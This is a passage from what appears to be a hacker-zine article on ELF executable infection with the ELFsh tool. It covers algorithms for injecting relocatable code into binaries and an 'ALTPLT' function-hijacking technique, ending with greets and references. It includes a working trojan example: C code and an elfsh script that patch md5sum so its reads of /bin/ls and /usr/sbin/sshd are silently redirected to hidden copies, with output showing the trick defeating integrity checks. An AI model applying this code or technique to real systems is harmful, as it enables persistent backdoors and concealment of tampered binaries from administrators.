      2/ FOREACH section in ET_REL object
         [
            IF section is a/ allocatable (sh_flags & SHF_ALLOC)
                          b/ non-null sized (sh_size != 0)
                          c/ data-typed (sh_type == SHT_PROGBITS)
            [

               IF section is writable -or- OS is FreeBSD
               [
                 - Inject post-bss section into ET_EXEC
               ]
               ELSE
               [
                 - Inject pre-interp section into ET_EXEC
               ]
            ]
         ]

      3/ Insert ET_REL .symtab into ET_EXEC (symtab fusion algorithm)

      4/ FOREACH section in ET_REL object
      [
         IF a/ section has been injected in 2. (same conditions)
            b/ section needs relocation (.rel.sctname is found in ET_REL)
         [
             - Relocate the section
         ]
      ]


--------[ BSS fusion algorithm


      - Insert ET_EXEC BSS physically if not already done (see next algo)
      FOREACH symbol from the ET_REL object
      [
         IF symbol points into the BSS (st_shndx & SHN_COMMON)
         [
            WHILE ET_EXEC .bss size is not aligned (sh_size % st_value)
            [
              - Increment by 1 the .bss size field (sh_size)
            ]
            - Insert symbol w/ st_value = .bss sh_addr + .bss sh_size
            - Add symbol size to ET_EXEC .bss size (sh_size)
         ]
      ]


---------[ BSS physical insertion algorithm


        FOREACH PHT entry
        [
               IF a/ segment is loadable (p_type == PT_LOAD)
                  b/ segment is writable (p_flags & PF_W)
               [
                 - Put p_memsz value into p_filesz
                 - End of algorithm
               ]
        ]


--------[ Symbol Tables fusion algorithm


      FOREACH symbol in ET_REL object
      [
         IF Symbol type is function (STT_FUNC) or variable (STT_OBJECT)
         [
            - Get parent section for this symbol using st_shndx field
            IF Parent section has been injected in 2. (same conditions)
            [
               - Add section's base address to the symbol value
               - Inject new symbol into ET_EXEC
            ]
         ]
      ]


--------[ Section pre-interp injection algorithm

       - Compute section size congruent with page size
       - Create new section's header
       - Inject section header (see SHT header insertion algorithm)
       FOREACH PHT entry
       [
          IF a/ segment type is loadable (p_type == PT_LOAD)
             b/ segment is executable (p_flags & PF_X)
          [
             - Add section's size to p_filesz and p_memsz
             - Substract section's size from p_vaddr and p_paddr
          ]
          ELSE IF segment type is PT_PHDR
          [
             - Substract section's size from p_vaddr and p_paddr
          ]
          ELSE
          [
             - Add section's size to p_offset
          ]
      ]
      - Shift SHT (see algorithm below)


---------[ Section post-bss injection algorithm


       - Create new section's header
       - Inject section header (see SHT header insertion algorithm)
       FOREACH PHT entry
       [
          IF a/ segment is loadable (p_type == PT_LOAD)
             b/ segment is writable (p_flags & PF_W)
          [
             - Add section's size to p_memsz and p_filesz
             - End of algorithm
          ]
       ]
       - Shift SHT by the section size (see next algorithm)


---------[ SHT shifting algorithm


       FOREACH SHT entry
       [
          IF current linked section (sh_link) points after new section
          [
             - Increment by 1 the sh_link field
          ]
          IF current file offset > injected section file offset
          [
             - Add injected section sh_size to current sh_offset
          ]
       ]


---------[ SHT header insertion algorithm


       - Insert new section's name into .shstrtab
       - Insert new entry in SHT at requested range
       - Increment by 1 the e_shnum field in ELF header
       FOREACH SHT entry
       [
          IF current entry file offset is after SHT file offset
          [
             - Add e_shentsize from ELF header to current sh_offset
          ]
       ]
       IF injected section header sh_offset <= SHT file offset
       [
         - Add new section size (sh_size) to e_shoff field in ELF header
       ]
       IF requested new section range <= section string table index
       [
          - Increment sh_strndx field in ELF header
       ]


---------[ Symbol injection algorithm


       - Insert symbol name into .strtab section
       - Insert symbol entry into .symtab section


---------[ Section data injection algorithm (apply to all type of section)


       - Insert data into section
       - Add injected data size to section's sh_size
       IF SHT file offset > section file offset
       [
         - Add injected data size to e_shoff in ELF header
       ]
       FOREACH SHT entry
       [
          IF current entry sh_offset field > extended section file offset
          [
             IF current entry sh_addr field is non-null
             [
                - Add injected data size to sh_addr
             ]
             - Add injected data size to sh_offset
          ]
       ]
       IF extended section sh_addr is non-null
       [
          FOREACH symbol table entry
          [
             IF symbol points after extended section former upper bound
             [
                - Add injected data size to st_value field
             ]
          ]
       ]


    The relocation (step 4) algorithm wont be detailed, because it is
    already all explained in the ELF reference. In short, the relocation
    process consists in updating all the addresses references in the
    injected ET_REL code, using the available merged symbol tables in
    the ET_EXEC file. There are 12 relocation types on INTEL and 56
    relocations types on SPARC, however, only 2 types are mostly used on
    INTEL, and only 3 on SPARC for ET_REL objects.

    This last stage is a switch/case based algorithm, which has in
    charge to update some bytes, many times, in each injected mapped
    section. The relocation tables contains all the information necessary
    for this operation, their name is .rel.<target> (or .rela.<target> on
    SPARC), with <target> beeing the section which is going to be
    relocated using this table). Those sections can be easily found just
    parsing the SHT and looking for sections whoose st_type is SHT_REL
    (or SHT_RELA on SPARC).

    What makes the ELFsh relocation engine powerful, is the using of both
    symbol table (.symtab and .dynsym), which means that the injected
    code can resolve symbols from the executable itself, e.g. it is
    possible to call the core functions of the executable, as well
    as existing .plt entries from the backdoor code, if their symbol
    value is available. For more details about the relocation step,
    please look at the ELFsh code in libelfsh/relinject.c, particulary
    at the elfsh_relocate_i386 and and elfsh_relocate_sparc.

    As suggested in the previous paragraph, ELFsh has a limitation since
    it is not possible to call functions not already present in the
    binary. If we want to call such functions, we would have to add
    information for the dynamic linker, so that the function address can
    be resolved in runtime using the standard GOT/PLT mechanism. It
    would requires .got, .plt, .rel.plt, .dynsym, .dynstr, and .hash
    extensions, which is not trivial when we dont want to move the
    binary data and code zones from their original addresses.

    Since relocation information is not available for ET_EXEC ELF
    objects, we woulnt be sure that our reconstructed relocation
    information would be 100% exact, without having a very strong and
    powerful dataflow analysis engine. This was proved by modremap
    (modules/modremap.c) written by spacewalkr, which is a
    SHT/PHT/symtab shifter. Coupled to the ELFsh relocation finder
    (vm/findrel.c), this module can remap a ET_EXEC binary in another
    place of the address space. This is known to work for /bin/ls and
    various /bin/* but bigger binaries like ssh/sshd cannot be relocated
    using this technique, because valid pointers double words are not
    always real pointers in such bins (false positives happen in hash
    values).

    For this reason, we dont want to move ET_EXEC section's from their
    original place. Instead, it is probably possible to add extra
    sections and use big offsets from the absolute addresses stored
    into .dynamic, but this feature is not yet provided. A careful
    choice of external functions hijacking is usually enough to get rid
    of the non-present symbol problem, even if this 'extra-function
    resolving' feature will probably be implemented in the future. For
    some sections like .hash, it may be necessary to do a copy of the
    original section after .bss and change the referenced address in
    the .dynamic section, so that we can extend the hash without moving
    any original code or data.


-------[ 4. Infection : ALTPLT technique


    Now that we have a decent residency technique in ET_REL injection,
    let's focus on a new better infection technique than GOT redirection
    and PLT infection : the ALTPLT technique. This new technique takes
    advantage of the symbol based function address resolving of the
    previous technique, as detailed below.

    ALTPLT is an improvement of PLT infection technique. Silvio Cesare
    describes how to modify the .plt section, in order to redirect
    function calls to library onto another code, so called the hook
    code. From [4], the algorithm of original .plt infection:


    -----%<-------%<--------%<---------%<----------%<--------%<---------

    '' The algorithm at the entry point code is as follows...

    * mark the text segment writable
    * save the PLT(GOT) entry
    * replace the PLT(GOT) entry with the address of the new libcall

    The algorithm in the new library call is as follows...

    * do the payload of the new libcall
    * restore the original PLT(GOT) entry
    * call the libcall
    * save the PLT(GOT) entry again (if it is changed)
    * replace the PLT(GOT) entry with the address of the new libcall ''

    -----%<-------%<--------%<---------%<----------%<--------%<---------

    The implementation of such an algorithm was presented in x86
    assembly language using segment padding residency. This technique
    is not enough because:

        1/ It is architecture dependant
        2/ Strict segments rights may not be kept consistant (PaX unsafe)
        3/ The general layout of the technique lacks a formal interface

    The new ALTPLT technique consists of copying the Procedure Linkage
    Table (.plt) to an alternative section, called .orig.plt, using a
    pre-interp injection, so that it resides in the read-only code
    segment. For each entry of the .orig.plt, we create and inject a
    new reference symbol, which name the same as the .plt entry symbol
    at the same index, except that it starts by 'old_'.

    Using this layout, we are able to perform standard PLT infection on
    the original .plt section, but instead of having a complex
    architecture dependant hook code, we use an injected function
    residing in hook.o.text, which is the text section of an ET_REL
    module that was injected using the technique described in the
    previous part of the paper.

    This way, we can still call the original function using
    old_funcname(), since the injected symbol will be available for
    the relocation engine, as described in the ET_REL injection
    algorithm ;).

    We keep the GOT/PLT mechanism intact and we rely on it to provide
    a normal function address resolution, like in every dynamic
    executable files. The .got section will now be unique for both .plt
    and .orig.plt sections. The added section .orig.plt is a strict copy
    of the original .plt, and will not ever be overwritten. In other
    words, .orig.plt is PaX safe. The only difference will be that
    original .plt entries may not use .got, but might be redirected on
    another routine using a direct branchement instruction.

    Let's look at an example where the puts() function is hijacked, and
    the puts_troj() function is called instead.


    On INTEL:


-----BEGIN EXAMPLE 13-----
old_puts + 0   jmp  *<_GLOBAL_OFFSET_TABLE_ + 20>      FF 25 00 97 04 08
old_puts + 6   push          $10                       68 10 00 00 00
old_puts + 11  jmp           <old_dlresolve>           E9 C0 FF FF FF

puts + 0       jmp           <puts_troj>               E9 47 ED FF FF
puts + 5       or            %ch,10(%eax)              08 68 10
puts + 8       add           %al,(%eax)                00 00
puts + 10      add           %ch,%cl                   00 E9
puts + 12      sar           $FF,%bh                   C0 FF FF
puts + 15      (bad)         %edi                      FF FF
-----END EXAMPLE 13-----


    On SPARC:


-----BEGIN EXAMPLE 14-----
old_puts + 0   sethi  %hi(0xf000), %g1                 03 00 00 3c
old_puts + 4   b,a   e0f4 <func2+0x1e0c>               30 bf ff f0
old_puts + 8   nop                                     01 00 00 00

puts + 0       jmp  %g1 + 0xf4 ! <puts_troj>           81 c0 60 f4
puts + 4       nop                                     01 00 00 00
puts + 8       sethi  %hi(0x12000), %g1                03 00 00 48
-----END EXAMPLE 14-----


   This is the only architecture dependant operation in the ALTPLT
   algorithm. It means that this feature can be implemented very easily
   for other processors as well. However, on SPARC there is one more
   modification to do on the first entry of the .orig.plt section.
   Indeed, the SPARC architecture does not use a Global Offset Table
   (.got) for function address resolving, instead the .plt section is
   directly modified at dynamic linking time. Except for this
   difference, the SPARC .plt works just the same as INTEL .plt (both
   are using the first .plt entry each time, as explained in the ELF
   reference).

   For this reason, we have to modify the first .orig.plt entry to make
   it point on the first .plt entry (which is patched in runtime before
   the main() function takes control). In order to patch it, we need to
   use a register other than %g1 (since this one is used by the dynamic
   linker to identify the .plt entry which has to be patched), for
   example %g2 (elfsh_hijack_plt_sparc_g2 in libelfsh/hijack.c).

   Patched first .orig.plt entry on SPARC:


-----BEGIN EXAMPLE 15-----
.orig.plt       sethi  %hi(0x20400), %g2               05 00 00 81
.orig.plt       jmp    %g2 + 0x2a8  ! <.plt>           81 c0 a2 a8
.orig.plt       nop                                    01 00 00 00
-----END EXAMPLE 15-----


   The reason for NOP instructions after the branching instruction
   (jmp) is because of SPARC delay slot. In short, SPARC branchement
   is done in such way that it changes the NPC register (New Program
   Counter) and not the PC register, and the instruction after a
   branching one is executed before the real branchement.

   Let's use a new example which combines ET_REL injection and ALTPLT
   infection this time (instead of GOT redirection, like in the previous
   sshd example). We will modify md5sum so that access to /bin/ls and
   /usr/sbin/sshd is redirected. In that case, we need to hijack the
   fopen64() function used by md5sum, swap the real path with the
   backup path if necessary, and call the original fopen64 as if
   nothing had happened:


-----BEGIN EXAMPLE 16-----
$ cat md16.esh
#!/usr/bin/elfsh

load /usr/bin/md5sum
load test.o

# Add test.o into md5sum
reladd 1 2

# Redirect fopen64 to fopen64_troj (in test.o) using ALTPLT technique
redir fopen64 fopen64_troj

save md5sum.new
quit
$ chmod +x md16.esh
$
-----END EXAMPLE 16-----


         Let's look at the injected code. Because the strcmp() libc
         function is not used by md5sum and therefore its symbol is not
         available in the binary, we have to copy it in the module
         source:


-----BEGIN EXAMPLE 17-----
$ cat test.c
#include <stdlib.h>

#define HIDDEN_DIR      "/path/to/hidden/dir"
#define LS              "/bin/ls"
#define SSHD            "/usr/sbin/sshd"
#define LS_BAQ          "ls.baq"
#define SSHD_BAQ        "sshd.baq"

int     mystrcmp(char *str1, char *str2)
{
  u_int cnt;

  for (cnt = 0; str1[cnt] && str2[cnt]; cnt++)
    if (str1[cnt] != str2[cnt])
      return (str1[cnt] - str2[cnt]);
  return (str1[cnt] - str2[cnt]);
}

int     fopen64_troj(char *str1, char *str2)
{
  if (!mystrcmp(str1, LS))
    str1 = HIDDEN_DIR "/" LS_BAQ;
  else if (!mystrcmp(str1, SSHD))
    str1 = HIDDEN_DIR "/" SSHD_BAQ;
  return (old_fopen64(str1, str2));
}
$ gcc test.c -c
$
-----END EXAMPLE 17-----


         For this last example, the full relinking information
         will be printed on stdout, so that the reader can enjoy
         all the details of the implementation:


-----BEGIN EXAMPLE 18-----
$

 Welcome to The ELF shell 0.5b9 .::.

 .::. This software is under the General Public License
 .::. Please visit http://www.gnu.org to know about Free Software

~load /usr/bin/md5sum
[*] New object /usr/bin/md5sum loaded on Sat Aug  2 16:16:32 2003

~exec cc test.c -c
[*] Command executed successfully

~load test.o
[*] New object test.o loaded on Sat Aug  2 16:16:32 2003

~reladd 1 2
[DEBUG_RELADD] Found BSS zone lenght [00000000] for module [test.o]
[DEBUG_RELADD] Inserted STT_SECT symbol test.o.text       [080470F4]
[DEBUG_RELADD] Inserted STT_SECT symbol test.o.rodata     [080460F4]
[DEBUG_RELADD] Inserted STT_SECT symbol .orig.plt         [080450F4]
[DEBUG_RELADD] Injected symbol old_dlresolve              [080450F4]
[DEBUG_RELADD] Injected symbol old_ferror                 [08045104]
[DEBUG_COPYPLT] Symbol at .plt + 16 injected succesfully
[DEBUG_RELADD] Injected symbol old_strchr                 [08045114]
[DEBUG_COPYPLT] Symbol at .plt + 32 injected succesfully
[DEBUG_RELADD] Injected symbol old_feof                   [08045124]
[DEBUG_COPYPLT] Symbol at .plt + 48 injected succesfully
[DEBUG_RELADD] Injected symbol old___register_frame_info  [08045134]
[DEBUG_COPYPLT] Symbol at .plt + 64 injected succesfully
[DEBUG_RELADD] Injected symbol old___getdelim             [08045144]
[DEBUG_COPYPLT] Symbol at .plt + 80 injected succesfully
[DEBUG_RELADD] Injected symbol old_fprintf                [08045154]
[DEBUG_COPYPLT] Symbol at .plt + 96 injected succesfully
[DEBUG_RELADD] Injected symbol old_fflush                 [08045164]
[DEBUG_COPYPLT] Symbol at .plt + 112 injected succesfully
[DEBUG_RELADD] Injected symbol old_dcgettext              [08045174]
[DEBUG_COPYPLT] Symbol at .plt + 128 injected succesfully
[DEBUG_RELADD] Injected symbol old_setlocale              [08045184]
[DEBUG_COPYPLT] Symbol at .plt + 144 injected succesfully
[DEBUG_RELADD] Injected symbol old___errno_location       [08045194]
[DEBUG_COPYPLT] Symbol at .plt + 160 injected succesfully
[DEBUG_RELADD] Injected symbol old_puts                   [080451A4]
[DEBUG_COPYPLT] Symbol at .plt + 176 injected succesfully
[DEBUG_RELADD] Injected symbol old_malloc                 [080451B4]
[DEBUG_COPYPLT] Symbol at .plt + 192 injected succesfully
[DEBUG_RELADD] Injected symbol old_fread                  [080451C4]
[DEBUG_COPYPLT] Symbol at .plt + 208 injected succesfully
[DEBUG_RELADD] Injected symbol old___deregister_frame_info [080451D4]
[DEBUG_COPYPLT] Symbol at .plt + 224 injected succesfully
[DEBUG_RELADD] Injected symbol old_bindtextdomain         [080451E4]
[DEBUG_COPYPLT] Symbol at .plt + 240 injected succesfully
[DEBUG_RELADD] Injected symbol old_fputs                  [080451F4]
[DEBUG_COPYPLT] Symbol at .plt + 256 injected succesfully
[DEBUG_RELADD] Injected symbol old___libc_start_main      [08045204]
[DEBUG_COPYPLT] Symbol at .plt + 272 injected succesfully
[DEBUG_RELADD] Injected symbol old_realloc                [08045214]
[DEBUG_COPYPLT] Symbol at .plt + 288 injected succesfully
[DEBUG_RELADD] Injected symbol old_textdomain             [08045224]
[DEBUG_COPYPLT] Symbol at .plt + 304 injected succesfully
[DEBUG_RELADD] Injected symbol old_printf                 [08045234]
[DEBUG_COPYPLT] Symbol at .plt + 320 injected succesfully
[DEBUG_RELADD] Injected symbol old_memcpy                 [08045244]
[DEBUG_COPYPLT] Symbol at .plt + 336 injected succesfully
[DEBUG_RELADD] Injected symbol old_fclose                 [08045254]
[DEBUG_COPYPLT] Symbol at .plt + 352 injected succesfully
[DEBUG_RELADD] Injected symbol old_getopt_long            [08045264]
[DEBUG_COPYPLT] Symbol at .plt + 368 injected succesfully
[DEBUG_RELADD] Injected symbol old_fopen64                [08045274]
[DEBUG_COPYPLT] Symbol at .plt + 384 injected succesfully
[DEBUG_RELADD] Injected symbol old_exit                   [08045284]
[DEBUG_COPYPLT] Symbol at .plt + 400 injected succesfully
[DEBUG_RELADD] Injected symbol old_calloc                 [08045294]
[DEBUG_COPYPLT] Symbol at .plt + 416 injected succesfully
[DEBUG_RELADD] Injected symbol old__IO_putc               [080452A4]
[DEBUG_COPYPLT] Symbol at .plt + 432 injected succesfully
[DEBUG_RELADD] Injected symbol old_free                   [080452B4]
[DEBUG_COPYPLT] Symbol at .plt + 448 injected succesfully
[DEBUG_RELADD] Injected symbol old_error                  [080452C4]
[DEBUG_COPYPLT] Symbol at .plt + 464 injected succesfully
[DEBUG_RELADD] Entering intermediate symbol injection loop
[DEBUG_RELADD] Injected ET_REL symbol mystrcmp            [080470F4]
[DEBUG_RELADD] Injected symbol mystrcmp                   [080470F4]
[DEBUG_RELADD] Injected ET_REL symbol fopen64_troj        [08047188]
[DEBUG_RELADD] Injected symbol fopen64_troj               [08047188]
[DEBUG_RELADD] Entering final relocation loop
[DEBUG_RELADD] Relocate using section test.o.rodata  base [-> 080460F4]
[DEBUG_RELADD] Relocate using section test.o.text    base [-> 080470F4]
[DEBUG_RELADD] Relocate using section test.o.rodata  base [-> 080460FC]
[DEBUG_RELADD] Relocate using section test.o.rodata  base [-> 08046117]
[DEBUG_RELADD] Relocate using section test.o.text    base [-> 080470F4]
[DEBUG_RELADD] Relocate using section test.o.rodata  base [-> 08046126]
[DEBUG_RELADD] Relocate using existing symbol old_fopen64 [08045274]
[*] ET_REL test.o injected succesfully in ET_EXEC /usr/bin/md5sum

~redir fopen64 fopen64_troj
[*] Function fopen64 redirected to addr 0x08047188 <fopen64_troj>

~save md5sum.new
[*] Object md5sum.new save successfully

~quit
[*] Unloading object 1 (test.o)
[*] Unloading object 2 (/usr/bin/md5sum) *

        Good bye ! .::. The ELF shell 0.5b9
$
-----END EXAMPLE 18-----


         As shown in the script output, the new file has got new
         symbols (the old symbols). Let's observe them using the
         elfsh '-sym' command and the regex capability ('old') :


-----BEGIN EXAMPLE 19-----
$ elfsh -q -f md5sum.new -sym old
[SYMBOL TABLE]
[Object md5sum.new]

[27] 0x80450f4  FUNC old_dlresolve                sz:16 scop:Local
[28] 0x8045104  FUNC old_ferror                   sz:16 scop:Local
[29] 0x8045114  FUNC old_strchr                   sz:16 scop:Local
[30] 0x8045124  FUNC old_feof                     sz:16 scop:Local
[31] 0x8045134  FUNC old___register_frame_info    sz:16 scop:Local
[32] 0x8045144  FUNC old___getdelim               sz:16 scop:Local
[33] 0x8045154  FUNC old_fprintf                  sz:16 scop:Local
[34] 0x8045164  FUNC old_fflush                   sz:16 scop:Local
[35] 0x8045174  FUNC old_dcgettext                sz:16 scop:Local
[36] 0x8045184  FUNC old_setlocale                sz:16 scop:Local
[37] 0x8045194  FUNC old___errno_location         sz:16 scop:Local
[38] 0x80451a4  FUNC old_puts                     sz:16 scop:Local
[39] 0x80451b4  FUNC old_malloc                   sz:16 scop:Local
[40] 0x80451c4  FUNC old_fread                    sz:16 scop:Local
[41] 0x80451d4  FUNC old___deregister_frame_info  sz:16 scop:Local
[42] 0x80451e4  FUNC old_bindtextdomain           sz:16 scop:Local
[43] 0x80451f4  FUNC old_fputs                    sz:16 scop:Local
[44] 0x8045204  FUNC old___libc_start_main        sz:16 scop:Local
[45] 0x8045214  FUNC old_realloc                  sz:16 scop:Local
[46] 0x8045224  FUNC old_textdomain               sz:16 scop:Local
[47] 0x8045234  FUNC old_printf                   sz:16 scop:Local
[48] 0x8045244  FUNC old_memcpy                   sz:16 scop:Local
[49] 0x8045254  FUNC old_fclose                   sz:16 scop:Local
[50] 0x8045264  FUNC old_getopt_long              sz:16 scop:Local
[51] 0x8045274  FUNC old_fopen64                  sz:16 scop:Local
[52] 0x8045284  FUNC old_exit                     sz:16 scop:Local
[53] 0x8045294  FUNC old_calloc                   sz:16 scop:Local
[54] 0x80452a4  FUNC old__IO_putc                 sz:16 scop:Local
[55] 0x80452b4  FUNC old_free                     sz:16 scop:Local
[56] 0x80452c4  FUNC old_error                    sz:16 scop:Local
$
-----END EXAMPLE 19-----


         It sounds good ! Does it work now?



  $ md5sum /bin/bash
  ebe1f822a4d026c366c8b6294d828c87  /bin/bash
  $ ./md5sum.new /bin/bash
  ebe1f822a4d026c366c8b6294d828c87  /bin/bash

  $ md5sum /bin/ls
  3b622e661f6f5c79376c73223ebd7f4d  /bin/ls
  $ ./md5sum.new /bin/ls
  ./md5sum.new: /bin/ls: No such file or directory

  $ md5sum /usr/sbin/sshd
  720784b7c1e5f3418710c7c5ebb0286c  /usr/sbin/sshd
  $ ./md5sum.new /usr/sbin/sshd
  ./md5sum.new: /usr/sbin/sshd: No such file or directory

  $ ./md5sum.new ./md5sum.new
  b52b87802b7571c1ebbb10657cedb1f6  ./md5sum.new
  $ ./md5sum.new /usr/bin/md5sum
  8beca981a42308c680e9669166068176  /usr/bin/md5sum
  $


  Heheh. It work so well that even if you forget to put the original
  copy in your hidden directory, md5sum prints the original path and
  not your hidden directory path ;). This is because we only change a
  local pointer in the fopen64_troj() function, and the caller function
  is not aware of the modification, so the caller error message is
  proceeded with the original path.

  Let's give the detailed algorithm for the ALTPLT technique. It must
  be used as a '2 bis' step in the main ET_REL injection algorithm
  given in the previous chapter, so that injected code can use any
  old_* symbols:


   - Create new section header with same size, type, rights as .plt
   - Insert new section header
   IF current OS == FreeBSD
   [
      - Inject section using post-bss technique.
   ]
   ELSE
   [
      - Inject section using pre-interp technique.
   ]
   FOREACH .plt entry (while counter < sh_size)
   [
     IF counter == 0 AND current architecture is SPARC
     [
       - Infect current entry using %g2 register.
     ]
     - Inject new 'old_<name>' symbol pointing on current entry
       (= sh_addr + cnt)
     - Add PLT entry size in bytes (SPARC: 12, INTEL: 16) to cnt
   ]


   This algorithm is executed once and only once per ET_EXEC file. The
   'redir' command actually performs the PLT infection on demand. A
   future (better) version of this command would allow core binary
   function hijacking. Since the code segment is read-only in userland,
   we cant modify the first bytes of the function at runtime and perform
   some awful bytes restoration [13] [14] for calling back the original
   function. The best solution is probably to build full control flow
   graphs for the target architecture, and redirect all calls to a given
   block (e.g. the first block of the hijacked function), making all
   these calls point to the hook function, as suggested in [15] . ELFsh
   provides INTEL control flow graphs (see modflow/modgraph), so does
   objobf [16], but the feature is not yet available for other
   architectures, and some specific indirect branchement instructions
   are not easily predictable [17] using static analysis only, so it
   remains in the TODO.


-------[ 5. The end ?


   This is the end, beautiful friend. This is the end, my only friend,
   the end... Of course, there is a lot of place for improvements and new
   features in this area. More target architectures are planed (pa-risc,
   alpha, ppc?), as well as more ELF objects support (version tables,
   ELF64) and extension for the script langage with simple data and
   control flow support. The ELF development is made easy using the
   libelfsh API and the script engine. Users are invited to improve the
   framework and all comments are really welcomed.


-------[ 6. Greets


   Greets go to #!dh and #dnerds peoples, you know who you are. Special
   thanks to duncan @ mygale and zorgon for beeing cool-asses and giving
   precious feedback.

   Other thanks, in random order : Silvio Cesare for his great work on
   the first generation ELF techniques (I definitely learnt a lot from
   you), all the ELFsh betatesters & contributors (y0 kil3r and thegrugq)
   who greatly helped to provide reliable and portable software, pipash for
   finding all the 76 char lenght lines of the article (your feedback
   r00lz as usual ;) , grsecurity.net (STBWH) for providing a useful
   sparc/linux account, and Shaun Clowes for giving good hints.

   Last minut big thanks to the M1ck3y M0us3 H4ck1ng Squ4dr0n and all the
   peoples at Chaos Communication Camp 2003 (hi Bulba ;) for the great
   time I had with them during those days, you guyz rock.


-------[ 7. References


 [1] The ELF shell project                             The ELF shell crew
 MAIN   : elfsh.devhell.org
 MIRROR : elfsh.segfault.net

 [2] PaX project                                       The PaX team
 pageexec.virtualave.net

 [3] ELF TIS reference
 x86.ddj.com/ftp/manuals/tools/elf.pdf
 www.sparc.com/standards/psABI3rd.pdf (SPARC supplement)

 [4] UNIX ELF parasites and virus                      silvio
 www.u-e-b-i.com/silvio/elf-pv.txt

 [5] Shared library redirection by ELF PLT infection   silvio
 phrack.org/phrack/56/p56-0x07

 [6] Understanding ELF rtld internals                  mayhem
 devhell.org/~mayhem/papers/elf-rtld.txt

 [7] More ELF buggery (bugtraq post)                   thegrugq
 www.securityfocus.com/archive/1/274283/2002-05-21/2002-05-27/0

 [8] Runtime process infection                         anonymous
 phrack.org/phrack/59/p59-0x08.txt

 [9] Subversive ELF dynamic linking                    thegrugq
 downloads.securityfocus.com/library/subversiveld.pdf

 [10] Static kernel patching                           jbtzhm
 phrack.org/phrack/60/p60-0x08.txt

 [11] Run-time kernel patching                         silvio
 www.u-e-b-i.com/silvio/runtime-kernel-kmem-patching.txt

 [12] Bypassing stackguard and stackshield             bulba/kil3r
 phrack.org/phrack/56/p56-0x05

 [13] Kernel function hijacking                        silvio
 www.u-e-b-i.com/silvio/kernel-hijack.txt

 [14] IA32 advanced function hooking                   mayhem
 phrack.org/phrack/58/p58-0x08

 [15] Unbodyguard (solaris kernel function hijacking)  noir
 gsu.linux.org.tr/~noir/b.tar.gz

 [16] The object code obfuscator tool of burneye2      scut
 segfault.net/~scut/objobf/

 [17] Secure Execution Via Program Shepherding         Vladimir Kiriansky
 www.cag.lcs.mit.edu/dynamorio/security-usenix.pdf     Derek Bruening
                                                       Saman Amarasinghe

|=[ EOF ]=---------------------------------------------------------------=|